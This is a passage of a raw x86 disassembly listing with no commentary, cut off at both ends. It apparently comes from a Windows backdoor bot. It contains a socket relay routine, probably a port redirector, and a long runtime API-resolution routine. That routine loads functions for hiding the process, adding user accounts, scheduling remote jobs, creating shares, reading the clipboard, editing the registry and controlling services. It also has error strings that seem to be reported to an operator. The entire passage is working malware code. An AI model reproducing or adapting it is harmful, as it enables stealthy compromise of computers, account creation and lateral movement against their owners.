[ebp+var_3C] call sub_4102D3 pop ecx push esi call near ptr 3D0000h xchg eax, edx pop edi pop esi pop ebx sub_405982 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405B0A proc near ; DATA XREF: sub_405982+11Co var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_410BE0 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call ds:dword_430810 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_405CC0 push 10h lea eax, [ebp+var_18] push edi push eax call sub_410590 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call ds:dword_430794 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call ds:dword_4307D0 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_405B9A lea eax, [ebp+var_13C] push eax call ds:dword_430814 ; gethostbyname jmp short loc_405BA8 ; --------------------------------------------------------------------------- loc_405B9A: ; CODE XREF: sub_405B0A+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call ds:dword_430750 ; gethostbyaddr loc_405BA8: ; CODE XREF: sub_405B0A+8Ej cmp eax, edi jz loc_405CC0 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call ds:dword_430740 ; connect cmp eax, 0FFFFFFFFh jz loc_405CC0 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call ds:dword_43081C ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_4205FC push eax call sub_41050B push esi lea eax, [ebp+var_344] push 10h push eax call sub_40FFB7 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_4358E4[ebx] mov ds:dword_4358DC[eax], ecx add esp, 20h mov ecx, [esi] mov ds:dword_4358E8[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push (offset loc_405CED+4) push edi push edi call ds:dword_41C06C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov ds:dword_4358EC[ecx], eax jz short loc_405CAD loc_405C5A: ; CODE XREF: sub_405B0A+15Dj cmp [ebp+var_20], edi jnz short loc_405C69 push 32h call ds:dword_41C058 ; Sleep jmp short loc_405C5A ; --------------------------------------------------------------------------- loc_405C69: ; CODE XREF: sub_405B0A+153j mov ebx, 1000h loc_405C6E: ; CODE XREF: sub_405B0A+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_410590 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call ds:dword_4307AC ; recv cmp eax, edi jle short loc_405CC0 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call ds:dword_4307E0 ; send cmp eax, 0FFFFFFFFh jnz short loc_405C6E jmp short loc_405CC0 ; --------------------------------------------------------------------------- loc_405CAD: ; CODE XREF: sub_405B0A+14Ej call ds:dword_41C068 ; RtlGetLastWin32Error push eax push offset unk_4205A8 call sub_407E82 pop ecx pop ecx loc_405CC0: ; CODE XREF: sub_405B0A+44j ; sub_405B0A+A0j ... mov eax, [ebp+var_4] imul eax, 234h push ds:dword_4358E4[eax] call ds:dword_430828 ; closesocket push [ebp+arg_0] call ds:dword_430828 ; closesocket push [ebp+var_4] call sub_4102D3 pop ecx push edi call near ptr 3D0000h loc_405CED: ; DATA XREF: sub_405B0A+130o mov edx, 555B5E5Fh sub_405B0A endp ; sp-analysis failed mov ebp, esp mov eax, 1128h call sub_410BE0 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_405D28: ; CODE XREF: seg000:00405D6Dj push edi lea eax, [ebp-1128h] push 0 push eax call sub_410590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push ds:dword_4358E8[esi] call ds:dword_4307AC ; recv test eax, eax jle short loc_405D6F push 0 push eax lea eax, [ebp-1128h] push eax push ds:dword_4358E4[esi] call ds:dword_4307E0 ; send cmp eax, 0FFFFFFFFh jnz short loc_405D28 loc_405D6F: ; CODE XREF: seg000:00405D52j push ds:dword_4358E8[esi] call ds:dword_430828 ; closesocket push dword ptr [ebp-14h] call sub_4102D3 pop ecx push 0 call near ptr 3D0000h pop ss pop edi pop esi ; =============== S U B R O U T I N E ======================================= sub_405D8E proc near ; CODE XREF: sub_4089FD+140p push ebx push ebp mov ebp, ds:dword_41C0B4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, ds:dword_41C0B0 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_405EAE push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov ds:dword_43083C, eax call esi push offset aProcess32first ; "Process32First" push edi mov ds:dword_4307B4, eax call esi push offset aProcess32next ; "Process32Next" push edi mov ds:dword_430798, eax call esi push offset aModule32first ; "Module32First" push edi mov ds:dword_4306C4, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov ds:dword_430674, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov ds:dword_4306A0, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov ds:dword_430710, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov ds:dword_4307F0, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov ds:dword_43084C, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov ds:dword_4306D0, eax call esi cmp ds:dword_43083C, ebx mov ds:dword_4306B8, eax jz short loc_405E8C cmp ds:dword_4307B4, ebx jz short loc_405E8C cmp ds:dword_430798, ebx jz short loc_405E8C cmp ds:dword_4306C4, ebx jz short loc_405E8C cmp ds:dword_4306A0, ebx jz short loc_405E8C cmp ds:dword_430710, ebx jz short loc_405E8C cmp ds:dword_4307F0, ebx jz short loc_405E8C cmp ds:dword_43084C, ebx jz short loc_405E8C cmp ds:dword_4306D0, ebx jz short loc_405E8C cmp eax, ebx jnz short loc_405E96 loc_405E8C: ; CODE XREF: sub_405D8E+B8j ; sub_405D8E+C0j ... mov ds:dword_430850, 1 loc_405E96: ; CODE XREF: sub_405D8E+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov ds:dword_4307C8, eax jz short loc_405EC3 push 1 push ebx call eax jmp short loc_405EC3 ; --------------------------------------------------------------------------- loc_405EAE: ; CODE XREF: sub_405D8E+1Dj call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_430854, eax mov ds:dword_430850, 1 loc_405EC3: ; CODE XREF: sub_405D8E+117j ; sub_405D8E+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_41C0AC ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_405F7E push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov ds:dword_4307EC, eax call esi push offset aIswindow ; "IsWindow" push edi mov ds:dword_4307A0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov ds:dword_430738, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov ds:dword_430840, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov ds:dword_430764, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov ds:dword_430784, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov ds:dword_4307E4, eax call esi cmp ds:dword_4307EC, ebx mov ds:dword_4306EC, eax jz short loc_405F89 cmp ds:dword_4307A0, ebx jz short loc_405F89 cmp ds:dword_430738, ebx jz short loc_405F89 cmp ds:dword_430840, ebx jz short loc_405F89 cmp ds:dword_430764, ebx jz short loc_405F89 cmp ds:dword_430784, ebx jz short loc_405F89 cmp ds:dword_4307E4, ebx jz short loc_405F89 cmp eax, ebx jnz short loc_405F93 jmp short loc_405F89 ; --------------------------------------------------------------------------- loc_405F7E: ; CODE XREF: sub_405D8E+144j call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_43085C, eax loc_405F89: ; CODE XREF: sub_405D8E+1B8j ; sub_405D8E+1C0j ... mov ds:dword_430858, 1 loc_405F93: ; CODE XREF: sub_405D8E+1ECj push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40612E push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov ds:dword_430800, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov ds:dword_43074C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov ds:dword_4307B8, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov ds:dword_4306B0, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov ds:dword_43070C, eax call esi cmp ds:dword_430800, ebx mov ds:dword_430770, eax jz short loc_40601E cmp ds:dword_43074C, ebx jz short loc_40601E cmp ds:dword_4307B8, ebx jz short loc_40601E cmp ds:dword_4306B0, ebx jz short loc_40601E cmp ds:dword_43070C, ebx jz short loc_40601E cmp eax, ebx jnz short loc_406028 loc_40601E: ; CODE XREF: sub_405D8E+26Aj ; sub_405D8E+272j ... mov ds:dword_430860, 1 loc_406028: ; CODE XREF: sub_405D8E+28Ej push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov ds:dword_430778, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov ds:dword_430754, eax call esi cmp ds:dword_430778, ebx mov ds:dword_4307FC, eax jz short loc_406063 cmp ds:dword_430754, ebx jz short loc_406063 cmp eax, ebx jnz short loc_40606D loc_406063: ; CODE XREF: sub_405D8E+2C7j ; sub_405D8E+2CFj mov ds:dword_430860, 1 loc_40606D: ; CODE XREF: sub_405D8E+2D3j push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov ds:dword_430788, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov ds:dword_43068C, eax call esi push offset aControlservice ; "ControlService" push edi mov ds:dword_430694, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov ds:dword_4306F4, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov ds:dword_4306F8, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov ds:dword_4306A8, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov ds:dword_430758, eax call esi cmp ds:dword_430788, ebx mov ds:dword_430698, eax jz short loc_406111 cmp ds:dword_43068C, ebx jz short loc_406111 cmp ds:dword_430694, ebx jz short loc_406111 cmp ds:dword_4306F4, ebx jz short loc_406111 cmp ds:dword_4306F8, ebx jz short loc_406111 cmp ds:dword_4306A8, ebx jz short loc_406111 cmp ds:dword_430758, ebx jz short loc_406111 cmp eax, ebx jnz short loc_40611B loc_406111: ; CODE XREF: sub_405D8E+34Dj ; sub_405D8E+355j ... mov ds:dword_430860, 1 loc_40611B: ; CODE XREF: sub_405D8E+381j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov ds:dword_430690, eax jnz short loc_406143 jmp short loc_406139 ; --------------------------------------------------------------------------- loc_40612E: ; CODE XREF: sub_405D8E+210j call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_430864, eax loc_406139: ; CODE XREF: sub_405D8E+39Ej mov ds:dword_430860, 1 loc_406143: ; CODE XREF: sub_405D8E+39Cj push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40620F push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov ds:dword_430780, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov ds:dword_4307D4, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov ds:dword_4307DC, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov ds:dword_43079C, eax call esi push offset aSelectobject ; "SelectObject" push edi mov ds:dword_4306D4, eax call esi push offset aBitblt ; "BitBlt" push edi mov ds:dword_430684, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov ds:dword_4307D8, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov ds:dword_430670, eax call esi cmp ds:dword_430780, ebx mov ds:dword_430704, eax jz short loc_40621A cmp ds:dword_4307D4, ebx jz short loc_40621A cmp ds:dword_4307DC, ebx jz short loc_40621A cmp ds:dword_43079C, ebx jz short loc_40621A cmp ds:dword_4306D4, ebx jz short loc_40621A cmp ds:dword_430684, ebx jz short loc_40621A cmp ds:dword_4307D8, ebx jz short loc_40621A cmp ds:dword_430670, ebx jz short loc_40621A cmp eax, ebx jnz short loc_406224 jmp short loc_40621A ; --------------------------------------------------------------------------- loc_40620F: ; CODE XREF: sub_405D8E+3C0j call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_43086C, eax loc_40621A: ; CODE XREF: sub_405D8E+441j ; sub_405D8E+449j ... mov ds:dword_430868, 1 loc_406224: ; CODE XREF: sub_405D8E+47Dj mov ebp, ds:dword_41C0AC push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4064E0 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov ds:dword_430718, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov ds:dword_430834, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov ds:dword_4306C0, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov ds:dword_43069C, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov ds:dword_430744, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov ds:dword_430730, eax call esi push offset aSocket ; "socket" push edi mov ds:dword_430700, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov ds:dword_430810, eax call esi push offset aConnect ; "connect" push edi mov ds:dword_43082C, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov ds:dword_430740, eax call esi push offset aInet_addr ; "inet_addr" push edi mov ds:dword_43081C, eax call esi push offset aHtons ; "htons" push edi mov ds:dword_4307D0, eax call esi push offset aHtonl ; "htonl" push edi mov ds:dword_430794, eax call esi push offset aNtohs ; "ntohs" push edi mov ds:dword_430790, eax call esi push offset aNtohl ; "ntohl" push edi mov ds:dword_4306E0, eax call esi push offset aSend ; "send" push edi mov ds:dword_4306D8, eax call esi push offset aSendto ; "sendto" push edi mov ds:dword_4307E0, eax call esi push offset aRecv ; "recv" push edi mov ds:dword_4307F4, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov ds:dword_4307AC, eax call esi mov ds:dword_43076C, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov ds:dword_4307C0, eax call esi push offset aListen ; "listen" push edi mov ds:dword_43077C, eax call esi push offset aAccept ; "accept" push edi mov ds:dword_4307BC, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov ds:dword_430824, eax call esi push offset aGetsockname ; "getsockname" push edi mov ds:dword_430774, eax call esi push offset aGethostname ; "gethostname" push edi mov ds:dword_43073C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov ds:dword_4307A8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov ds:dword_430814, eax call esi push offset aGetpeername ; "getpeername" push edi mov ds:dword_430750, eax call esi push offset aClosesocket ; "closesocket" push edi mov ds:dword_4306FC, eax call esi cmp ds:dword_430718, ebx mov ds:dword_430828, eax jz loc_4064EB cmp ds:dword_430834, ebx jz loc_4064EB cmp ds:dword_4306C0, ebx jz loc_4064EB cmp ds:dword_430744, ebx jz loc_4064EB cmp ds:dword_430730, ebx jz loc_4064EB cmp ds:dword_430700, ebx jz loc_4064EB cmp ds:dword_430810, ebx jz loc_4064EB cmp ds:dword_43082C, ebx jz loc_4064EB cmp ds:dword_430740, ebx jz loc_4064EB cmp ds:dword_43081C, ebx jz loc_4064EB cmp ds:dword_4307D0, ebx jz loc_4064EB cmp ds:dword_430794, ebx jz loc_4064EB cmp ds:dword_430790, ebx jz loc_4064EB cmp ds:dword_4306E0, ebx jz short loc_4064EB cmp ds:dword_4307E0, ebx jz short loc_4064EB cmp ds:dword_4307F4, ebx jz short loc_4064EB cmp ds:dword_4307AC, ebx jz short loc_4064EB cmp ds:dword_43076C, ebx jz short loc_4064EB cmp ds:dword_4307C0, ebx jz short loc_4064EB cmp ds:dword_43077C, ebx jz short loc_4064EB cmp ds:dword_4307BC, ebx jz short loc_4064EB cmp ds:dword_430824, ebx jz short loc_4064EB cmp ds:dword_430774, ebx jz short loc_4064EB cmp ds:dword_43073C, ebx jz short loc_4064EB cmp ds:dword_4307A8, ebx jz short loc_4064EB cmp ds:dword_430814, ebx jz short loc_4064EB cmp ds:dword_430750, ebx jz short loc_4064EB cmp eax, ebx jnz short loc_4064F5 jmp short loc_4064EB ; --------------------------------------------------------------------------- loc_4064E0: ; CODE XREF: sub_405D8E+4A7j call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_430874, eax loc_4064EB: ; CODE XREF: sub_405D8E+646j ; sub_405D8E+652j ... mov ds:dword_430870, 1 loc_4064F5: ; CODE XREF: sub_405D8E+74Ej push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4065FA push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov ds:dword_4306E8, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov ds:dword_430678, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov ds:dword_430760, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov ds:dword_43071C, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov ds:dword_430768, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov ds:dword_430734, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov ds:dword_4306B4, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov ds:dword_4306AC, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov ds:dword_4306BC, eax call esi cmp ds:dword_4306E8, ebx mov ecx, ds:dword_430734 mov ds:dword_4307C4, eax jz short loc_4065D6 cmp ds:dword_430678, ebx jz short loc_4065D6 cmp ds:dword_430760, ebx jz short loc_4065D6 cmp ds:dword_43071C, ebx jz short loc_4065D6 cmp ds:dword_430768, ebx jz short loc_4065D6 cmp ecx, ebx jz short loc_4065D6 cmp ds:dword_4306B4, ebx jz short loc_4065D6 cmp ds:dword_4306AC, ebx jz short loc_4065D6 cmp ds:dword_4306BC, ebx jz short loc_4065D6 cmp eax, ebx jnz short loc_4065E0 loc_4065D6: ; CODE XREF: sub_405D8E+806j ; sub_405D8E+80Ej ... mov ds:dword_430878, 1 loc_4065E0: ; CODE XREF: sub_405D8E+846j cmp ecx, ebx jz short loc_406615 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov ds:dword_430748, eax jnz short loc_406615 jmp short loc_40660F ; --------------------------------------------------------------------------- loc_4065FA: ; CODE XREF: sub_405D8E+772j call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_43087C, eax mov ds:dword_430878, 1 loc_40660F: ; CODE XREF: sub_405D8E+86Aj mov ds:dword_430748, ebx loc_406615: ; CODE XREF: sub_405D8E+854j ; sub_405D8E+868j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40665F push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov ds:dword_430728, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov ds:dword_430848, eax call esi cmp ds:dword_430728, ebx mov ds:dword_4306C8, eax jz short loc_40666A cmp ds:dword_430848, ebx jz short loc_40666A cmp eax, ebx jnz short loc_406674 jmp short loc_40666A ; --------------------------------------------------------------------------- loc_40665F: ; CODE XREF: sub_405D8E+892j call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_430884, eax loc_40666A: ; CODE XREF: sub_405D8E+8C1j ; sub_405D8E+8C9j ... mov ds:dword_430880, 1 loc_406674: ; CODE XREF: sub_405D8E+8CDj push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40676A push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov ds:dword_4306A4, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov ds:dword_430680, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov ds:dword_4306F0, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov ds:dword_430720, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov ds:dword_430820, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov ds:dword_4306DC, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov ds:dword_430688, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov ds:dword_43067C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov ds:dword_430708, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov ds:dword_4307E8, eax call esi cmp ds:dword_4306A4, ebx mov ds:dword_4307A4, eax jz short loc_406775 cmp ds:dword_430680, ebx jz short loc_406775 cmp ds:dword_4306F0, ebx jz short loc_406775 cmp ds:dword_430720, ebx jz short loc_406775 cmp ds:dword_430820, ebx jz short loc_406775 cmp ds:dword_4306DC, ebx jz short loc_406775 cmp ds:dword_430688, ebx jz short loc_406775 cmp ds:dword_43067C, ebx jz short loc_406775 cmp ds:dword_430708, ebx jz short loc_406775 cmp ds:dword_4307E8, ebx jz short loc_406775 cmp eax, ebx jnz short loc_40677F jmp short loc_406775 ; --------------------------------------------------------------------------- loc_40676A: ; CODE XREF: sub_405D8E+8F1j call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_43088C, eax loc_406775: ; CODE XREF: sub_405D8E+98Cj ; sub_405D8E+994j ... mov ds:dword_430888, 1 loc_40677F: ; CODE XREF: sub_405D8E+9D8j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4067B4 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov ds:dword_4306CC, eax call esi cmp ds:dword_4306CC, ebx mov ds:dword_43078C, eax jz short loc_4067BF cmp eax, ebx jnz short loc_4067C9 jmp short loc_4067BF ; --------------------------------------------------------------------------- loc_4067B4: ; CODE XREF: sub_405D8E+9FCj call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_430894, eax loc_4067BF: ; CODE XREF: sub_405D8E+A1Ej ; sub_405D8E+A24j mov ds:dword_430890, 1 loc_4067C9: ; CODE XREF: sub_405D8E+A22j push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4067FE push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov ds:dword_43080C, eax call esi cmp ds:dword_43080C, ebx mov ds:dword_430808, eax jz short loc_406809 cmp eax, ebx jnz short loc_406813 jmp short loc_406809 ; --------------------------------------------------------------------------- loc_4067FE: ; CODE XREF: sub_405D8E+A46j call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_43089C, eax loc_406809: ; CODE XREF: sub_405D8E+A68j ; sub_405D8E+A6Ej mov ds:dword_430898, 1 loc_406813: ; CODE XREF: sub_405D8E+A6Cj push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_406872 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov ds:dword_430838, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov ds:dword_430830, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov ds:dword_4307F8, eax call esi cmp ds:dword_430838, ebx mov ds:dword_4306E4, eax jz short loc_40687D cmp ds:dword_430830, ebx jz short loc_40687D cmp ds:dword_4307F8, ebx jz short loc_40687D cmp eax, ebx jnz short loc_406887 jmp short loc_40687D ; --------------------------------------------------------------------------- loc_406872: ; CODE XREF: sub_405D8E+A90j call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_4308A4, eax loc_40687D: ; CODE XREF: sub_405D8E+ACCj ; sub_405D8E+AD4j ... mov ds:dword_4308A0, 1 loc_406887: ; CODE XREF: sub_405D8E+AE0j push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_4068BC push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov ds:dword_430714, eax call esi cmp ds:dword_430714, ebx mov ds:dword_430804, eax jz short loc_4068C7 cmp eax, ebx jnz short loc_4068D1 jmp short loc_4068C7 ; --------------------------------------------------------------------------- loc_4068BC: ; CODE XREF: sub_405D8E+B04j call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_4308AC, eax loc_4068C7: ; CODE XREF: sub_405D8E+B26j ; sub_405D8E+B2Cj mov ds:dword_4308A8, 1 loc_4068D1: ; CODE XREF: sub_405D8E+B2Aj push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40695A push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov ds:dword_4307CC, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov ds:dword_430818, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov ds:dword_43075C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov ds:dword_430724, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov ds:dword_4307B0, eax call esi cmp ds:dword_4307CC, ebx mov ds:dword_43072C, eax jz short loc_406965 cmp ds:dword_430818, ebx jz short loc_406965 cmp ds:dword_43075C, ebx jz short loc_406965 cmp ds:dword_430724, ebx jz short loc_406965 cmp ds:dword_4307B0, ebx jz short loc_406965 cmp eax, ebx jnz short loc_40696F jmp short loc_406965 ; --------------------------------------------------------------------------- loc_40695A: ; CODE XREF: sub_405D8E+B4Ej call ds:dword_41C068 ; RtlGetLastWin32Error mov ds:dword_4308B4, eax loc_406965: ; CODE XREF: sub_405D8E+BA4j ; sub_405D8E+BACj ... mov ds:dword_4308B0, 1 loc_40696F: ; CODE XREF: sub_405D8E+BC8j push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_405D8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406977 proc near ; CODE XREF: seg000:0040DA50p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp ds:dword_430850, esi push edi mov edi, [ebp+arg_8] jz short loc_4069BF push ds:dword_430854 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_4069BF: ; CODE XREF: sub_406977+1Aj cmp ds:dword_430858, esi jz short loc_4069F3 push ds:dword_43085C lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_4069F3: ; CODE XREF: sub_406977+4Ej cmp ds:dword_430860, esi jz short loc_406A27 push ds:dword_430864 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406A27: ; CODE XREF: sub_406977+82j cmp ds:dword_430868, esi jz short loc_406A5B push ds:dword_43086C lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41050B push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_40E367 add esp, 20h loc_406A5B: ; CODE XREF: sub_406977+B6j cmp 